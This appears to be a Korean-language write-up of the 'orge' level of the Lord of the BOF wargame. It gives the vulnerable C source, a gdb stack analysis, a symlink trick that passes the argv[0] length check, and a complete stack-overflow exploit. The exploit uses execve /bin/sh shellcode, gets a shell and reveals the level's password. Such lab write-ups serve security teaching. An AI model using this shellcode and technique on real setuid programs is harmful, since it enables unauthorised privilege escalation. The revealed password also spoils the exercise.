[redhat-lob] (7) orge

Source Code

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
    char buffer[40];
    int i;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    // here is changed!
    if(strlen(argv[0]) != 77){
        printf("argv[0] error\n");
        exit(0);
    }

    // egghunter
    for(i=0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));

    if(argv[1][47] != '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }

    // check the length of argument
    if(strlen(argv[1]) > 48){
        printf("argument is too long!\n");
        exit(0);
    }

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);

    // buffer hunter
    memset(buffer, 0, 40);
}

Vulnerabliity Vector

main 함수의 ret를 덮어씌워 오버플로우를 발생시킨다.

==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================

Buffer Overflow

Overflow condition

• environ을 초기화하여 환경 변수 사용를 통한 쉘코드 삽입이 불가능하다.
• argv[0]의 길이가 77이어야 함
• argv[1]의 47번째 문자열이 "\xbf"이어야 함
• argv[1]의 길이가 47이하 이어야 함

※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행
$ bash2
$ ./orge `python -c 'print "a"*47'`

argv[0] error

$ ./orge `python -c 'print "a"*47+"\xbf"'`

argv[0] error

이번 문제는 argv[0]의 길이가 77 바이트를 만족해야 버퍼오버플로우를 진행할 수 있다. 77바이트의 길이를 가진 파일을 하나 생성하여 ln 명령으로 링크를 걸어준다. ( 앞에 "./"가 있으므로 75바이트를 생성하면 된다. )

$ ln orge `python -c 'print "a"*75'`
$ ls
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  orge  orge.c
$ ./`python -c 'print "a"*75'` a
stack is still your friend.

exploit

기존 문제들의 경우 실행 파일명(argv[0])의 길이에 대한 제한이 없었으나, 해당 문제는 실행 파일명의 길이가 77으로 제한되어 있어 해당 부분을 우회하여야 한다.

argv[1]이 저장되는 주소 확인

앞의 조건에 argv[1][47]값이 "\xbf"인지 확인하기 때문에, gdb를 이용하여 argv[1]이 저장되는 주소(buffer)를 찾는다.

(gdb) b *main
Breakpoint 1 at 0x8048500

(gdb) r `python -c 'print "a"*47+"\xbf"'`
Starting program: /home/darkelf/./aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa `python -c 'print "a"*47+"\xbf"'`
/bin/bash: /home/goblin/.bashrc: Permission denied

Breakpoint 1, 0x8048500 in main ()

(gdb) stepi
0x8048501 in main ()

(gdb) i reg $esp
esp            0xbffffa48       -1073743288

(gdb) i reg $ebp
ebp            0xbffffa68       -1073743256

(gdb) x/100x $esp

==========================================================================
0xbffffa48:     0xbffffa68      0x400309cb      0x00000002      0xbffffa94
0xbffffa58:     0xbffffaa0      0x40013868      0x00000002      0x08048450
0xbffffa68:     0x00000000      0x08048471      0x08048500      0x00000002
0xbffffa78:     0xbffffa94      0x08048390      0x0804866c      0x4000ae60
0xbffffa88:     0xbffffa8c      0x40013e90      0x00000002      0xbffffb90
0xbffffa98:     0xbffffbec      0x00000000      0xbffffc1d      0xbffffc3f
0xbffffaa8:     0xbffffc49      0xbffffc57      0xbffffc76      0xbffffc86
0xbffffab8:     0xbffffc9f      0xbffffcbb      0xbffffcda      0xbffffce5
0xbffffac8:     0xbffffcf3      0xbffffd35      0xbffffd48      0xbffffd5d
0xbffffad8:     0xbffffd6d      0xbffffd7a      0xbffffd98      0xbffffda3
0xbffffae8:     0xbffffdb4      0xbffffdc6      0xbffffdd5      0xbffffddd
0xbffffaf8:     0x00000000      0x00000003      0x08048034      0x00000004
0xbffffb08:     0x00000020      0x00000005      0x00000006      0x00000006
0xbffffb18:     0x00001000      0x00000007      0x40000000      0x00000008
0xbffffb28:     0x00000000      0x00000009      0x08048450      0x0000000b
0xbffffb38:     0x000001fa      0x0000000c      0x000001fa      0x0000000d
0xbffffb48:     0x000001fa      0x0000000e      0x000001fa      0x00000010
0xbffffb58:     0x0fabfbff      0x0000000f      0xbffffb8b      0x00000000
0xbffffb68:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffb78:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffb88:     0x69000000      0x00363836      0x6d6f682f      0x61642f65
0xbffffb98:     0x6c656b72      0x2f2e2f66      0x61616161      0x61616161
                                                  ^               ^
0xbffffba8:     0x61616161      0x61616161      0x61616161      0x61616161
                  ^               ^               ^               ^
0xbffffbb8:     0x61616161      0x61616161      0x61616161      0x61616161
                  ^               ^               ^               ^ argv[1] = 0xbffffbc7

0xbffffbc8:     0x61616161      0x61616161      0x61616161      0x61616161
==========================================================================

argv[1] pointers 쉘코드 실행

==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers ->> shellcode
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================

오버플로우시 RET를 argv[1] 주소로 덮어씌워 해당 쉘코드가 실행되도록 한다. argv[1]의 최초 주소값을 확인하여 4바이트씩 증가하면서 주소를 변경하면서 공격을 진행하면 성공시킬 수 있다.

$ ./`python -c 'print "a"*75'` `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\xc7\xfb\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                       ̀▒▒▒▒

bash$ whoami
orge
bash$ my-pass
euid = 507
timewalker